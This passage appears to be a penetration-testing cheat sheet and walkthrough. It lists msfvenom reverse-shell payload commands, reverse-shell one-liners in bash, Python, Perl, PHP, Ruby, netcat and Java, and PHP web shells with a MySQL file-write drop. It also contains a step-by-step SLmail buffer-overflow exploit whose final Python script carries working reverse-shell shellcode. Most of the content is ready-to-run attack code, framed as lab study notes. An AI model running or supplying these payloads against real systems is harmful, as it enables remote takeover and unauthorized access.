msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -e x86/shikata_ga_nai -i 9 -f psh -o shell.ps1
```

#### Windows Reverse Shell excluding bad characters

```
msfvenom -p windows/shell_reverse_tcp -a x86 LHOST=10.10.10.10 LPORT=53 EXITFUNC=thread -f c -b "\x00\x04" -e x86/shikata_ga_nai
```

#### Windows x64 Reverse Shell

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f exe -o shell.exe
```

#### Windows x86 Reverse Shell

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f exe -o shell.exe
```

#### DLL Hijacking

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 –e x86/shikata_ga_nai -i 3 -f dll -o custom.dll
```

#### Windows Reverse Shell embedding into plink

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe
```


# Reverse Shells

### Bash

```
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
OR
bash -c "bash -i >& /dev/tcp/10.0.0.1/8080 0>&1"
```

### Python

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

### Perl

```
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

### PHP

```
Try with 4, 5, 6…
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

The below can be used too:
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/MY_IP_ADDRESS/MY_PORT 0>&1'"); ?>

Or simple create a PHP page with the following:
<?php system($_GET['cmd']); ?>

Have MySQL access? Add the following:
SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/cmd.php"
```

### Ruby

```
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

### Netcat

```
### Windows ###
nc.exe 10.10.10.1 1234 -e cmd.exe
nc.exe 10.10.10.1 1234 -e powershell

### Linux ###
nc 10.0.0.1 1234 -e /bin/sh

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
```

### Java

```
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[]) p.waitFor()
```

### xterm

```
It will try to connect back to you (10.0.0.1) on TCP port 6001.

xterm -display 10.0.0.1:1 To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):

Xnest :1 You’ll need to authorise the target to connect to you (command also run on your host):

xhost +targetip
```

### Windows Reverse Shell

{% embed url="<https://github.com/Dhayalanb/windows-php-reverse-shell/blob/master/Reverse%20Shell.php>" %}

{% embed url="<https://www.revshells.com/>" %}

### More:&#x20;

{% embed url="<https://github.com/mthbernardes/rsg>" %}


# Buffer Overflow

Some of the things used within BO.

#### Payload

```
payload = "\x41" * + <ret_address> + "\x90" * 16 + + "\x43" * <remaining_length>
```

#### Pattern Create

```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <length>
```

#### Pattern Offset

```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l <length> -q HEX
```

#### nasm

```
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb nasm > jmp eax
```

#### Bad Characters

```
badchars = (
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
```


# B.O Steps

Steps used in buffer overflow.

**1)** Use script to **crash** program and take a note the bytes needed for.

**2)** **Replicate** the crash with the bytes from 1) to see if indeed crashes the program.&#x20;

**3)** **Generate** a pattern with length same as above.&#x20;

```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700
```

**4)** Replace the pattern above in place of the bytes.

**5)** Make a note of the HEX number that overwrites the EIP at the time of the crash.&#x20;

**6)**  Together with the EIP found in 5) determine the offset.

```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2700 -q HEX
```

**7)** The buffer should look like this&#x20;

```
buffer = "A"*2606 + "B"*4 +"C"*90 = 2700
```

**8)** **Increase** buffer if the bytes are not enough for our shellcode.&#x20;

```
buffer = "A"*2606 + "B"*4 +"C"*(3500-2606-4)
```

**9)** Look for **bad characters**&#x20;

```
buffer = "A"*2606 + "B"*4 + badchars :where badchars=("\x00...\xff"
```

**10)** The main idea is to **replace** the EIP with ESP but can be difficult to hand code ESP as its not constant.&#x20;

**11)** By the time of the crash there are other dll's and functions loaded. We need to find those (with no DEP and noASLR)&#x20;

**12)** Use mona

```
!mona modules
```

**13)** Use nasm to make a note of the **jmp esp**

```
ruby /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb 
nasm> jmp esp 
00000000    FFE4    jmp esp
nasm>
```

**14)** Find the memory address

```
!mona find -s "\xff\xe4" -m slmfc.dll
```

**15)** Memory address found in 14) above. **Remember** it should be in reverse if x86 arch

```
buffer = "A"*2606 + "\x8f\x35\x4a\x5f" +"C"*(3500-2606-4)
```

**16)** Place a **breakpoint** at this address and let it run&#x20;

**17)** ESP will then be pointed to the next executable which will be our shellcode.&#x20;

**18)** Create a **shellcode** with **msfvenom**&#x20;

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.11 LPORT=443 -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -a x86 --platform windows

where:
    -p: platform
    -f: format
    -e: encoder 
    -b: bad characters
    -a: arch
```

**19)** Our buffer at this stage should be the following:

```
buffer = "A"*2606 + "\x8f\x35\x4a\x5f" +"\x90"16 + shellcode + "C"*(3500-2606-4-351-16)
```

**20)** **Run it!!!** We should have a **shell**.


# SLmail B.O

SLmail example buffer overflow

The below code will send at incremental rate bytes to the server running the vulnerable copy of the SLmail software and check at which position is crashing.&#x20;

```
#!/usr/bin/python
import socket

# Create an array of buffers, while incrementing them 

buffer=["A"]
counter=100

while len(buffer) <= 30:
	buffer.append("A"*counter)
	counter=counter+200

for string in buffer:
	print "Fuzzing PASS with %s byter" % len(string)
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	connect=s.connect(('10.10.10.20',110))
	s.recv(1024)
	s.send('USER test\r\n')
	s.recv(1024)
	s.send('PASS ' + string + '\r\n')
	s.send('QUIT\r\n')
	s.close()
```

Open up the Immunity Debugger and attach the SLmail to it.&#x20;

![Attach SLmail to Immunity Debugger](https://1488133578-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LjzM44uZY9cQuwXn91h%2F-LkFUd4QcbvlR2CKi-T6%2F-LkFW5SZPSPpzAc44Xhu%2FScreen%20Shot%202019-07-20%20at%2018.52.15.png?alt=media\&token=035aa6a2-c16c-4391-8374-20d25c65a71c)

Run the code above against it and we can see that around 2700 bytes long the software crashes and no longer running according to the Immunity debugger.&#x20;

![Fuzzing the server](https://1488133578-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LjzM44uZY9cQuwXn91h%2F-LkFUd4QcbvlR2CKi-T6%2F-LkFWypzXbLB36J05VNr%2FScreen%20Shot%202019-07-20%20at%2018.56.44.png?alt=media\&token=c1efb79e-37c7-48a2-b8a4-45202cf15c20)

![Immunity Debugger paused](https://1488133578-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LjzM44uZY9cQuwXn91h%2F-LkFUd4QcbvlR2CKi-T6%2F-LkFX4rAqRGW8-nnJI9t%2FScreen%20Shot%202019-07-20%20at%2018.57.01.png?alt=media\&token=13ff1998-310c-4b49-b9c6-458244b0e4b7)

So with the above image we can see that the EIP has been overwritten completely with our A's. By slightly changing the code we can make sure that around 2700 the software crushes. Change the following code to have only 2700 A's this time to replicate and validate the crash.

```
#!/usr/bin/python

# Generate 2700 A's and send them to the POP3 SLMail server
# Replication of Fuzzing buffer overflow

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = "A" * 2700

try:
	print "\nSending evil Buffer..."
	s.connect(('10.10.10.20',110))
	data = s.recv(1024)
	s.send('USER username' +'\r\n')
	data = s.recv(1024)
	s.send('PASS ' + buffer + '\r\n')
	print "\nDone!"
except:
	print "Could not connect to POP3"
```

At this point we know that we can crash the software at around 2700 bytes long but by the time of the crash we are not sure at the address of the EIP. The module **patter\_create.rb** comes to the rescue.&#x20;

```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700
```

Once this is generated, replace the A's above with the pattern in our code as shown below.&#x20;

```
#!/usr/bin/python

# Generate 2700 A's and send them to the POP3 SLMail server
# Replication of Fuzzing buffer overflow

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9"

try:
	print "\nSending evil Buffer..."
	s.connect(('10.10.10.20',110))
	data = s.recv(1024)
	s.send('USER username' +'\r\n')
	data = s.recv(1024)
	s.send('PASS ' + buffer + '\r\n')
	print "\nDone!"
except:
	print "Could not connect to POP3"
```

Running this against our SLmail software after attaching it to our Immunity we can make a note the address of EIP by the time of the crash.&#x20;

![EIP address as: 39694438](https://1488133578-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LjzM44uZY9cQuwXn91h%2F-LkFc1k7TwY6cGLhAMP5%2F-LkFdZP4EYEYpmx59Nov%2FScreen%20Shot%202019-07-20%20at%2019.30.03.png?alt=media\&token=2851ab4e-3ebf-4b1f-95f6-113c438cd08d)

Another module comes to the rescue and let us know the exact location of that EIP address. &#x20;

```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2700 -q 39694438
[*] Exact match at offset 2606
```

We know by now that at 2606 bytes  we are overwriting the EIP address with 39694438. This can be done for our verification with the following code.&#x20;

```
#!/usr/bin/python

# Generate 2700 A's and send them to the POP3 SLMail server
# Replication of Fuzzing buffer overflow

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = "A" * 2606 + "B" * 4 + "C" * 90

try:
	print "\nSending evil Buffer..."
	s.connect(('10.10.10.20',110))
	data = s.recv(1024)
	s.send('USER username' +'\r\n')
	data = s.recv(1024)
	s.send('PASS ' + buffer + '\r\n')
	print "\nDone!"
except:
	print "Could not connect to POP3"
```

By running this against SLmail we can make sure that the number of B's are at location 2606 bytes long.&#x20;

![Overwriting EIP with B\*4](https://1488133578-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LjzM44uZY9cQuwXn91h%2F-LkFc1k7TwY6cGLhAMP5%2F-LkFfECqXTl3uV9qyIDS%2FScreen%20Shot%202019-07-20%20at%2019.37.26.png?alt=media\&token=fdb45c05-0339-466f-a8f0-bb4146dbf0d2)

#### Identify the Bad Characters

Several characters are causing an issue when we include them into our shellcode. A list of characters can be found on the Buffer Overflow section. We have identify that those bad characters on this instance are the following.&#x20;

*Badchar 0x00*

![Char(Null) -> Hex(0)](https://1488133578-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LjzM44uZY9cQuwXn91h%2F-LkzdtqVI8SEb4PfjF6v%2F-LkzejSu2PbdLY_RWtNX%2FScreen%20Shot%202019-07-20%20at%2019.43.14.png?alt=media\&token=4291dbda-b51c-49b6-b48f-d287a42ec6f8)

*Badchar 0x0A*

![Char(Line Feed) -> Hex(A)](https://1488133578-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LjzM44uZY9cQuwXn91h%2F-LkzdtqVI8SEb4PfjF6v%2F-LkzeqV4u4yyN78f7TKU%2FScreen%20Shot%202019-07-20%20at%2019.44.17.png?alt=media\&token=2343cf62-ecaa-4757-baae-329c46d657d1)

*Badchar 0x0D*

![Char(Carriage Return) -> Hex(D)](https://1488133578-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LjzM44uZY9cQuwXn91h%2F-LkzdtqVI8SEb4PfjF6v%2F-Lkzeu3s3YkBCaGgxnmH%2FScreen%20Shot%202019-07-20%20at%2019.45.21.png?alt=media\&token=9431305f-0d05-44d3-8054-98aff2f4e180)

So at this stage our script should be like the following. (exclude the bad characters found above)

```
#!/usr/bin/python

# Generate 2700 A's and send them to the POP3 SLMail server
# Replication of Fuzzing buffer overflow

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )

buffer = "A" * 2606 + "B" * 4 + badchars 

try:
	print "\nSending evil Buffer..."
	s.connect(('10.10.10.20',110))
	data = s.recv(1024)
	s.send('USER username' +'\r\n')
	data = s.recv(1024)
	s.send('PASS ' + buffer + '\r\n')
	print "\nDone!"
except:
	print "Could not connect to POP3"

```

What we need is a way to point to the ESP so we can redirect the execution of our shellcode. From the following images we can see the JMP ESP that it is usable for our exploit.

![](https://1488133578-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LjzM44uZY9cQuwXn91h%2F-LkzdtqVI8SEb4PfjF6v%2F-LkziWbF8YUo2bDYGPF-%2FScreen%20Shot%202019-07-29%20at%2022.50.39.png?alt=media\&token=238f55c6-eaed-489b-9575-7492b4bd4c49)

Another way of finding the JMP ESP is to use mona with the following command.

```
!mona jmp -r esp -cpb "\x00"
```

This will find it excluding badchar \x00.

Once we update our script with the JMP ESP value we found above our buffer at this stage will be the following:

![](https://1488133578-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LjzM44uZY9cQuwXn91h%2F-LkzdtqVI8SEb4PfjF6v%2F-LkzivcrbL2e6qUEoG8M%2FScreen%20Shot%202019-07-29%20at%2022.50.53.png?alt=media\&token=d72e0e53-e3e8-4558-ae93-c7878681d41a)

As noticed we have increased the length of our buffer to accommodate the shellcode which is normally  around 350 bytes long.  We executed and set a break point on it and follow the execution as shown in the next image.

![](https://1488133578-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LjzM44uZY9cQuwXn91h%2F-LkzdtqVI8SEb4PfjF6v%2F-Lkzj8bLnQt23kLiEWwH%2FScreen%20Shot%202019-07-29%20at%2022.51.21.png?alt=media\&token=38c1c2e1-872b-41f6-ac32-5d2a7fa777d6)

We can see that we have successfully replace the value of EIP with that of ESP on our next image. That means we are ready to include our shellcode and set it to be executed.

![](https://1488133578-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LjzM44uZY9cQuwXn91h%2F-LkzdtqVI8SEb4PfjF6v%2F-LkzjI4Vz037-dCs9U_9%2FScreen%20Shot%202019-07-29%20at%2022.51.36.png?alt=media\&token=1fa903ee-35fb-449e-bc84-6cdb28ae6e51)

What is left to do is to generate the shellcode that we will use to get a reverse shell.&#x20;

*msfvenom*:

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.154 LPORT=443\
-f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -a x86 --platform windows
```

Copy and paste the outcome of the msfvenom command above within our script. The end result will look like this. It is recommended to place some NOPS before the beginning of our shellcode in order to give some space before execution.&#x20;

```
#!/usr/bin/python

# Generate 2700 A's and send them to the POP3 SLMail server
# Replication of Fuzzing buffer overflow

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

shellcode = ( "\xbd\xab\xed\x38\x98\xda\xdd\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
"\x52\x31\x6b\x12\x83\xc3\x04\x03\xc0\xe3\xda\x6d\xea\x14\x98"
"\x8e\x12\xe5\xfd\x07\xf7\xd4\x3d\x73\x7c\x46\x8e\xf7\xd0\x6b"
"\x65\x55\xc0\xf8\x0b\x72\xe7\x49\xa1\xa4\xc6\x4a\x9a\x95\x49"
"\xc9\xe1\xc9\xa9\xf0\x29\x1c\xa8\x35\x57\xed\xf8\xee\x13\x40"
"\xec\x9b\x6e\x59\x87\xd0\x7f\xd9\x74\xa0\x7e\xc8\x2b\xba\xd8"
"\xca\xca\x6f\x51\x43\xd4\x6c\x5c\x1d\x6f\x46\x2a\x9c\xb9\x96"
"\xd3\x33\x84\x16\x26\x4d\xc1\x91\xd9\x38\x3b\xe2\x64\x3b\xf8"
"\x98\xb2\xce\x1a\x3a\x30\x68\xc6\xba\x95\xef\x8d\xb1\x52\x7b"
"\xc9\xd5\x65\xa8\x62\xe1\xee\x4f\xa4\x63\xb4\x6b\x60\x2f\x6e"
"\x15\x31\x95\xc1\x2a\x21\x76\xbd\x8e\x2a\x9b\xaa\xa2\x71\xf4"
"\x1f\x8f\x89\x04\x08\x98\xfa\x36\x97\x32\x94\x7a\x50\x9d\x63"
"\x7c\x4b\x59\xfb\x83\x74\x9a\xd2\x47\x20\xca\x4c\x61\x49\x81"
"\x8c\x8e\x9c\x06\xdc\x20\x4f\xe7\x8c\x80\x3f\x8f\xc6\x0e\x1f"
"\xaf\xe9\xc4\x08\x5a\x10\x8f\x3c\x91\x10\xd5\x29\xa7\x24\xe8"
"\x12\x2e\xc2\x80\x74\x67\x5d\x3d\xec\x22\x15\xdc\xf1\xf8\x50"
"\xde\x7a\x0f\xa5\x91\x8a\x7a\xb5\x46\x7b\x31\xe7\xc1\x84\xef"
"\x8f\x8e\x17\x74\x4f\xd8\x0b\x23\x18\x8d\xfa\x3a\xcc\x23\xa4"
"\x94\xf2\xb9\x30\xde\xb6\x65\x81\xe1\x37\xeb\xbd\xc5\x27\x35"
"\x3d\x42\x13\xe9\x68\x1c\xcd\x4f\xc3\xee\xa7\x19\xb8\xb8\x2f"
"\xdf\xf2\x7a\x29\xe0\xde\x0c\xd5\x51\xb7\x48\xea\x5e\x5f\x5d"
"\x93\x82\xff\xa2\x4e\x07\x0f\xe9\xd2\x2e\x98\xb4\x87\x72\xc5"
"\x46\x72\xb0\xf0\xc4\x76\x49\x07\xd4\xf3\x4c\x43\x52\xe8\x3c"
"\xdc\x37\x0e\x92\xdd\x1d" )

buffer = "A" * 2606 + "\x8f\x35\x4a\x5f" + "\x90" * 16 + shellcode + "C" * ( 3500 - 2606 - 4 - 351 - 16 ) 

try:
	print "\nSending evil Buffer..."
	s.connect(('10.10.10.20',110))
	data = s.recv(1024)
	s.send('USER username' +'\r\n')
	data = s.recv(1024)
	s.send('PASS ' + buffer + '\r\n')
	print "\nDone!"
except:
	print "Could not connect to POP3"

```

#### EXITFUNC

Add a EXITFUNC=thread on the msfvenom payload creation to avoid having to restart the vulnerable app each time.&#x20;

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.154 LPORT=443 -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -a x86 --platform windows EXITFUNC=thread
```


# Spawning a Shell

Spawn a shell

The following commands can be used to spawn a shell once you have a foot inside.&#x20;

```
python -c 'import pty; pty.spawn("/bin/sh")' 
python3 -c 'import pty; pty.spawn("/bin/sh")'

script -qc /bin/bash /dev/null

echo os.system('/bin/bash') 
/bin/sh -i 
perl -e 'exec "/bin/sh";' 
perl: exec "/bin/sh"; 
ruby: exec "/bin/sh" 
